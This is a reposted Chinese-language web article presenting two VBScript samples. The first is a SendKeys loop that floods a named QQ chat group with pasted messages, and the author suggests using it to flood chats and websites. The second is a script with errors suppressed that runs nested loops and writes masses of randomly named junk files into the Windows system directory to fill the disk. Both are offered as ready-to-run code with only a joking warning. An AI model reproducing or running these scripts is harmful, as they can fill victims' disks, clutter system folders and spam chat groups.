從一個VBS腳本學習一點點東西

2019-10-26 18:09:11

字體：大中小

來源：轉載

供稿：網友

不知道是最近還是以前，反正就是這幾天經常在網上看到一個刷QQ群的VBS代碼。
復制代碼代碼如下:

Set WshShell= WScript.createObject("WScript.Shell")
WshShell.AppActivate "群－ Powers成員交流"
for i=1 to 10 '要發的次數
WScript.Sleep 500 '發送消息的時間間隔
WshShell.SendKeys "^v" '要發的內容
WshShell.SendKeys i '這里拿每條消息都不同，在后面加上i即循環的次數
WshShell.SendKeys "%s"
next

這個代碼里面解釋的很清楚的啦~呵呵
其實就只是這么一點點就已經可以弄來我們做好幾個好玩的東西了啦~比如：刷QQ聊天啊、刷網站啦~

由于比較感興趣，所以找到個這樣的代碼：一個寫硬盤的VBS腳本程序（不要做壞事哦）
復制代碼代碼如下:

on error resume next
dim objdir,suijishu
set objdir=wscript.createobject("scripting.filesystemobject")
set windir=objdir.getspecialfolder(0)
set sysdir=objdir.getspecialfolder(1)
'開始程序
for i=1 to 1000
for j=1 to 1000
for r=1 to 1000'------------------------------------------------------------------------------
randomize
y=int((122-65+1)*rnd+65)
y1=int((122-65+1)*rnd+65)
y2=int((122-65+1)*rnd+65)
y3=int((122-65+1)*rnd+65)
y4=int((122-65+1)*rnd+65)
y5=int((122-65+1)*rnd+65)
y6=int((122-65+1)*rnd+65)
y7=int((122-65+1)*rnd+65)
y8=int((122-65+1)*rnd+65)'-----------------------------------------------------------------
y9=int((122-65+1)*rnd+65)
f=chr(y)&chr(y1)&chr(y2)&chr(y3)&chr(y4)&chr(y5)&chr(y6)&chr(y7)&chr(y8)&chr(y9)
suijishu=int(rnd*10000)
'創建windows文件
yang=windir&""&f&"."&chr(y3)&chr(y7)&chr(y)
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執行官老楊同志"
a.writeline"Oicq:14903220"'------------------------------------------------------------
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=windir&""&chr(y3)&chr(y1)&"."&chr(y)&chr(y4)&chr(y2) '2
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執行官老楊同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu'-----------------------------------------------------------------------
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=windir&""&chr(y7)&chr(y2)&chr(y9)&"."&chr(y8)&chr(y4)&chr(y1) '3
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執行官老楊同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)'-------------------------------------------------------------
next
a.close
yang=windir&""&chr(y5)&chr(y2)&chr(y9)&chr(y1)&"."&chr(y6)&chr(y9)&chr(y3) '4
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執行官老楊同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next'--------------------------------------------------------------------------------------
a.close
yang=windir&""&chr(y6)&chr(y2)&chr(y)&chr(y4)&chr(y5)&"."&chr(y6)&chr(y8)&chr(y4) '5
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執行官老楊同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close'---------------------------------------------------------------------------------

上一篇：vbs在網頁中顯示服務

下一篇：SendKeys參考文檔

發表評論

共有條評論